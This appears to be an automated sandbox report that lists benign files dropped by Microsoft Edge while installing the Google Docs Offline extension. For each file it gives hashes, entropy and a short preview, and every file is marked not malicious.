Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\c106448f-d65a-4892-8a7f-6283ee062536.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir1772_21728618\8916abdb-f97e-44ac-98f4-e48a4d5ab7a2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir1772_21728618\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
